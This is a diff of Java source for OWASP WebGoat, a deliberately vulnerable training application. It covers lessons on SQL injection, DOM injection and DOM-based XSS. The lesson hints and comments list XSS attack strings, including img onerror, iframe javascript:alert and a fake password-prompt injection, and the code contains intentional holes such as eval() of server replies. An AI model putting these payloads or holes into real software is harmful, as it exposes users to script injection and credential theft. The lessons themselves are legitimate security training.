+ "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database " + "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database "
+ "to use bind variables, rather than string concatenation. " + "to use bind variables, rather than string concatenation. "
+ "Repeat the SQL Injection attack. Verify that the attack is no longer effective."; + "Repeat the SQL Injection attack. Verify that the attack is no longer effective.";
} }
} }
return instructions; return instructions;
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) s.openLessonSession(this); if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
} }
if (requestedActionName != null) if (requestedActionName != null)
{ {
try try
{ {
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
// System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + // System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
// action.getActionName()); // action.getActionName());
if (!action.requiresAuthentication() || action.isAuthenticated(s)) if (!action.requiresAuthentication() || action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
} }
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
// System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
// System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
// System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "LAB: DB SQL Injection"; return "LAB: DB SQL Injection";
} }
@Override @Override
protected boolean getDefaultHidden() protected boolean getDefaultHidden()
{ {
String driver = getWebgoatContext().getDatabaseDriver(); String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden; return hidden;
} }
} }

View File

@ -49,178 +49,178 @@ import org.owasp.webgoat.session.WebSession;
public class Login extends DefaultLessonAction public class Login extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{ {
// System.out.println("Login.handleRequest()"); // System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s); List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees); setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null; String employeeId = null;
try try
{ {
employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID); employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD); String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD);
// Attempt authentication // Attempt authentication
boolean authenticated = login(s, employeeId, password); boolean authenticated = login(s, employeeId, password);
if (authenticated) if (authenticated)
{ {
// Execute the chained Action if authentication succeeded. // Execute the chained Action if authentication succeeded.
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
s.setMessage("Login failed"); s.setMessage("Login failed");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// No credentials offered, so we log them out // No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
} }
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String nextPage = DBSQLInjection.LOGIN_ACTION; String nextPage = DBSQLInjection.LOGIN_ACTION;
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage; return nextPage;
} }
public boolean requiresAuthentication() public boolean requiresAuthentication()
{ {
return false; return false;
} }
public boolean login(WebSession s, String userId, String password) public boolean login(WebSession s, String userId, String password)
{ {
boolean authenticated = false; boolean authenticated = false;
try try
{ {
String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh! String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh!
try try
{ {
CallableStatement statement = WebSession.getConnection(s) CallableStatement statement = WebSession.getConnection(s)
.prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER); statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId)); statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password); statement.setString(3, password);
statement.execute(); statement.execute();
int rows = statement.getInt(1); int rows = statement.getInt(1);
if (rows > 0) if (rows > 0)
{ {
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId); setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId);
authenticated = true; authenticated = true;
if (DBSQLInjection.STAGE1.equals(getStage(s)) if (DBSQLInjection.STAGE1.equals(getStage(s))
&& DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId)) && DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
{ {
setStageComplete(s, DBSQLInjection.STAGE1); setStageComplete(s, DBSQLInjection.STAGE1);
} }
} }
else else
{ {
if (DBSQLInjection.STAGE2.equals(getStage(s))) if (DBSQLInjection.STAGE2.equals(getStage(s)))
{ {
try try
{ {
String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }"; String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }";
statement = WebSession.getConnection(s).prepareCall(call2, statement = WebSession.getConnection(s).prepareCall(call2,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER); statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId)); statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password); statement.setString(3, password);
statement.execute(); statement.execute();
rows = statement.getInt(1); rows = statement.getInt(1);
if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2); if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2);
} catch (SQLException sqle2) } catch (SQLException sqle2)
{ {
} }
} }
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error logging in: " + sqle.getLocalizedMessage()); s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error logging in: " + e.getLocalizedMessage()); s.setMessage("Error logging in: " + e.getLocalizedMessage());
e.printStackTrace(); e.printStackTrace();
} }
// System.out.println("Lesson login result: " + authenticated); // System.out.println("Lesson login result: " + authenticated);
return authenticated; return authenticated;
} }
public List getAllEmployees(WebSession s) public List getAllEmployees(WebSession s)
{ {
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to // Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles // Query the database for all employees "owned" by these roles
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid"; + "where employee.userid=roles.userid";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub); employees.add(stub);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
} }
return employees; return employees;
} }
} }

View File

@ -54,141 +54,141 @@ import org.owasp.webgoat.session.WebSession;
public class DOMInjection extends LessonAdapter public class DOMInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
private final static String KEY = "key"; private final static String KEY = "key";
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N"; private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
String userKey = s.getParser().getRawParameter(KEY, ""); String userKey = s.getParser().getRawParameter(KEY, "");
String fromAJAX = s.getParser().getRawParameter("from", ""); String fromAJAX = s.getParser().getRawParameter("from", "");
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key)) if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key))
{ {
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("document.form.SUBMIT.disabled = false;"); out.print("document.form.SUBMIT.disabled = false;");
out.flush(); out.flush();
out.close(); out.close();
return; return;
} }
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.getRequest().getMethod().equalsIgnoreCase("POST")) if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
{ {
makeSuccess(s); makeSuccess(s);
} }
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep + "function validate() {" + lineSep String script = "<script>" + lineSep + "function validate() {" + lineSep
+ "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink() + "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep + "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');" + "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep + lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep + " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep + "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep + " var message = req.responseText;" + lineSep + " if (req.status == 200) { " + lineSep + " var message = req.responseText;" + lineSep
+ " var messageDiv = document.getElementById('MessageDiv');" + lineSep + " try {" + lineSep + " var messageDiv = document.getElementById('MessageDiv');" + lineSep + " try {" + lineSep
+ " eval(message);" + lineSep + " " + lineSep + " eval(message);" + lineSep + " " + lineSep
+ " messageDiv.innerHTML = 'Correct licence Key.' " + lineSep + " }" + lineSep + " messageDiv.innerHTML = 'Correct licence Key.' " + lineSep + " }" + lineSep
+ " catch(err)" + lineSep + " { " + lineSep + " messageDiv.innerHTML = 'Wrong license key.'" + " catch(err)" + lineSep + " { " + lineSep + " messageDiv.innerHTML = 'Wrong license key.'"
+ lineSep + "} " + lineSep + " }}}" + lineSep + "</script>" + lineSep; + lineSep + "} " + lineSep + " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:"))); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:")));
ec.addElement(new BR() ec.addElement(new BR()
.addElement("Please enter the license key that was emailed to you to start using the application.")); .addElement("Please enter the license key that was emailed to you to start using the application."));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center"); Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD(new StringElement("License Key: "))); tr.addElement(new TD(new StringElement("License Key: ")));
Input input1 = new Input(Input.TEXT, KEY, ""); Input input1 = new Input(Input.TEXT, KEY, "");
input1.setID(KEY); input1.setID(KEY);
input1.addAttribute("onkeyup", "validate();"); input1.addAttribute("onkeyup", "validate();");
tr.addElement(new TD(input1)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD("&nbsp;").setColSpan(2)); tr.addElement(new TD("&nbsp;").setColSpan(2));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
Input b = new Input(); Input b = new Input();
b.setType(Input.SUBMIT); b.setType(Input.SUBMIT);
b.setValue("Activate!"); b.setValue("Activate!");
b.setName("SUBMIT"); b.setName("SUBMIT");
b.setID("SUBMIT"); b.setID("SUBMIT");
b.setDisabled(true); b.setDisabled(true);
tr.addElement(new TD("&nbsp;")); tr.addElement(new TD("&nbsp;"));
tr.addElement(new TD(b)); tr.addElement(new TD(b));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
Div div = new Div(); Div div = new Div();
div.addAttribute("name", "MessageDiv"); div.addAttribute("name", "MessageDiv");
div.addAttribute("id", "MessageDiv"); div.addAttribute("id", "MessageDiv");
ec.addElement(div); ec.addElement(div);
return ec; return ec;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server."); hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to find a way to inject the DOM to enable the Activate button."); hints.add("Try to find a way to inject the DOM to enable the Activate button.");
hints.add("Intercept the reply and replace the body with document.form.SUBMIT.disabled = false;"); hints.add("Intercept the reply and replace the body with document.form.SUBMIT.disabled = false;");
return hints; return hints;
} }
public String getTitle() public String getTitle()
{ {
return "DOM Injection"; return "DOM Injection";
} }
} }

View File

@ -22,300 +22,300 @@ import org.owasp.webgoat.session.*;
public class DOMXSS extends SequentialLessonAdapter public class DOMXSS extends SequentialLessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private final static String PERSON = "person"; private final static String PERSON = "person";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1 if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) && attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1)
{ {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed. "); s.setMessage("Stage 1 completed. ");
} }
return (ec); return (ec);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1 if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("onerror") != -1 && attackString.toString().toLowerCase().indexOf("onerror") != -1
&& attackString.toString().toLowerCase().indexOf("alert") != -1) && attackString.toString().toLowerCase().indexOf("alert") != -1)
{ {
getLessonTracker(s).setStage(3); getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. "); s.setMessage("Stage 2 completed. ");
} }
else else
{ {
s.setMessage("Only &lt;img onerror... attacks are recognized for success criteria"); s.setMessage("Only &lt;img onerror... attacks are recognized for success criteria");
} }
return (ec); return (ec);
} }
protected Element doStage3(WebSession s) throws Exception protected Element doStage3(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("iframe") != -1 if (attackString.toString().toLowerCase().indexOf("iframe") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{ {
getLessonTracker(s).setStage(4); getLessonTracker(s).setStage(4);
s.setMessage("Stage 3 completed."); s.setMessage("Stage 3 completed.");
} else if (attackString.toString().toLowerCase().indexOf("iframe") != -1 } else if (attackString.toString().toLowerCase().indexOf("iframe") != -1
&& attackString.toString().toLowerCase().indexOf("onload") != -1 && attackString.toString().toLowerCase().indexOf("onload") != -1
&& attackString.toString().toLowerCase().indexOf("alert") != -1) && attackString.toString().toLowerCase().indexOf("alert") != -1)
{ {
getLessonTracker(s).setStage(3); getLessonTracker(s).setStage(3);
s.setMessage("Stage 3 completed. "); s.setMessage("Stage 3 completed. ");
} }
else else
{ {
s.setMessage("Only &lt;iframe javascript/onload... attacks are recognized for success criteria"); s.setMessage("Only &lt;iframe javascript/onload... attacks are recognized for success criteria");
} }
return (ec); return (ec);
} }
protected Element doStage4(WebSession s) throws Exception protected Element doStage4(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1 if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{ {
getLessonTracker(s).setStage(5); getLessonTracker(s).setStage(5);
s.setMessage("Stage 4 completed."); s.setMessage("Stage 4 completed.");
} }
return (ec); return (ec);
} }
protected Element doStage5(WebSession s) throws Exception protected Element doStage5(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
/** /**
* They pass iff: * They pass iff:
* *
* 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)"
*/ */
String file = s.getWebResource("lessonJS/DOMXSS.js"); String file = s.getWebResource("lessonJS/DOMXSS.js");
String content = getFileContent(file); String content = getFileContent(file);
if (content.indexOf("escapeHTML(name)") != -1) if (content.indexOf("escapeHTML(name)") != -1)
{ {
makeSuccess(s); makeSuccess(s);
} }
return ec; return ec;
} }
protected ElementContainer mainContent(WebSession s) protected ElementContainer mainContent(WebSession s)
{ {
StringBuffer attackString = null; StringBuffer attackString = null;
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(new Script().setSrc("lessonJS/DOMXSS.js")); ec.addElement(new Script().setSrc("lessonJS/DOMXSS.js"));
ec.addElement(new Script().setSrc("lessonJS/escape.js")); ec.addElement(new Script().setSrc("lessonJS/escape.js"));
ec.addElement(new H1().setID("greeting")); ec.addElement(new H1().setID("greeting"));
ec.addElement(new StringElement("Enter your name: ")); ec.addElement(new StringElement("Enter your name: "));
attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
Input input = new Input(Input.TEXT, PERSON, attackString.toString()); Input input = new Input(Input.TEXT, PERSON, attackString.toString());
input.setOnKeyUp("displayGreeting(" + PERSON + ".value)"); input.setOnKeyUp("displayGreeting(" + PERSON + ".value)");
ec.addElement(input); ec.addElement(input);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
Element b = ECSFactory.makeButton("Submit Solution"); Element b = ECSFactory.makeButton("Submit Solution");
ec.addElement(b); ec.addElement(b);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return ec; return ec;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Stage 1: Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;"); hints.add("Stage 1: Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;");
hints.add("Stage 2: Try entering the following: " + "&lt;img src=x onerror=;;alert('XSS') /&gt;"); hints.add("Stage 2: Try entering the following: " + "&lt;img src=x onerror=;;alert('XSS') /&gt;");
hints.add("Stage 3: Try entering the following: " hints.add("Stage 3: Try entering the following: "
+ "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;"); + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints hints
.add("Stage 4: Try entering the following: " .add("Stage 4: Try entering the following: "
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;"); + "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
hints hints
.add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version)."); .add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version).");
// Attack Strings: // Attack Strings:
// <IMG SRC="images/logos/owasp.jpg"/> // <IMG SRC="images/logos/owasp.jpg"/>
// <img src=x onerror=;;alert('XSS') /> // <img src=x onerror=;;alert('XSS') />
// <IFRAME SRC="javascript:alert('XSS');"></IFRAME> // <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
// Please enter your password:<BR><input type = "password" name="pass"/><button // Please enter your password:<BR><input type = "password" name="pass"/><button
// onClick="javascript:alert('I // onClick="javascript:alert('I
// have your password: ' + // have your password: ' +
// pass.value); // pass.value);
